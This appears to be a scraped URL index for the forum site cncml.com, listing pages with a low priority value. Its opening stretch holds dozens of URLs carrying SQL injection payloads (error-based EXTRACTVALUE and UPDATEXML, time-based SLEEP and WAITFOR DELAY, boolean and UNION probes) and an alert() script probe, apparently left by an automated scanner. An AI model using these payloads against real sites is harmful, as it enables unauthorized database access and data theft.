http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20OR%20'wU'='wU'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(62=62)%20THEN%20'spacecp'%20ELSE%200x28%20END))%20AND%20'ie'='ie 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(73=19)%20THEN%20'spacecp'%20ELSE%200x28%20END))%20AND%20'5n'='5n 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%22 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND%2011=56%20AND%20('xM'='xM 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND%2016=16%20AND%20('aT'='aT 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=22)%20THEN%20'spacecp'%20ELSE%200x28%20END))%20AND%20('kr'='kr 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%20'spacecp'%20ELSE%200x28%20END))%20AND%20('u8'='u8 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp';%20IF(37=37)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp';%20IF(92=81)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp);%20IF(12=12)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp);%20IF(96=95)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp6633x3X6 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecpAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecpJyI%3D 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecpalert(42873) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecpe360 0.0001 http://www.cncml.com/home.php?action=article&id=1&mytypeId=-2%20union%20select%20concat(0x7e,md5(1122),0x7e)%20from%20v_user%20where%20uid=1 0.0001 http://www.cncml.com/home.php?do=friend&mod=space&uid=102 0.0001 http://www.cncml.com/home.php?do=profile&mod=space&uid=93 0.0001 http://www.cncml.com/home.php?mod=magic&mid=anonymouspost&idtype=pid&id=135:134 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=1 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=103 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=107 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=11 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=114 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=116 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=117 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=118 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=119 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=12 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=120 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=121 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=122 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=123 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=124 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=128 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=13 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=130 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=133 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=134 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=136 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=137 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=138 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=14 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=142 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=143 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=148 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=149 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=150 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=152 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=159 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=16 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=161 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=164 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=167 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=168 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=169 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=170 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=171 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=172 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=173 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=175 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=176 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=178 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=179 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=18 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=181 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=185 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=186 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=187 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=19 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=192 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=194 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=196 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=198 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=2 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=20 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=203 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=206 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=207 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=208 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=209 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=21 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=215 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=216 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=217 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=218 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=219 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=220 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=222 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=224 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=24 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=3 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=36 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=37 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=4 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=41 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=42 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=43 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=45 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=46 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=47 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=5 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=50 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=55 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=6 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=7 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=70 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=74 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=79 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=82 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=86 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=87 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=89 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=90 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=91 0.0001 http://www.cncml.com/home.php?mod=magic&mid=highlight&idtype=tid&id=97 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=1 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=10 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=107 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=11 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=114 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=117 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=118 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=119 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=12 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=120 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=121 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=122 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=123 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=124 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=128 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=13 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=130 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=133 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=134 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=136 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=137 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=138 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=14 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=142 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=143 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=148 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=149 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=150 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=152 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=159 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=16 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=161 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=164 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=166 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=167 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=170 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=171 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=172 0.0002 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=173 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=175 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=176 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=178 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=179 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=18 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=181 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=185 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=186 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=19 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=192 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=194 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=196 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=198 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=2 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=20 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=203 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=206 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=207 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=208 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=209 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=21 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=215 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=216 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=217 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=219 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=220 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=222 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=224 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=23 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=3 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=36 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=37 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=4 0.0002 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=41 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=42 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=43 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=45 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=46 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=47 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=5 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=50 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=55 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=6 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=67 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=68 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=69 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=7 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=70 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=71 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=72 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=73 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=74 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=75 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=76 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=77 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=78 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=79 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=82 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=83 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=85 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=86 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=87 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=89 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=90 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=91 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=92 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=97 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=98 0.0001 http://www.cncml.com/home.php?mod=magic&mid=jack&idtype=tid&id=99 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=1 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=10 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=100 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=107 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=11 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=110 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=114 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=117 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=118 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=119 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=12 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=120 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=121 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=122 0.0001 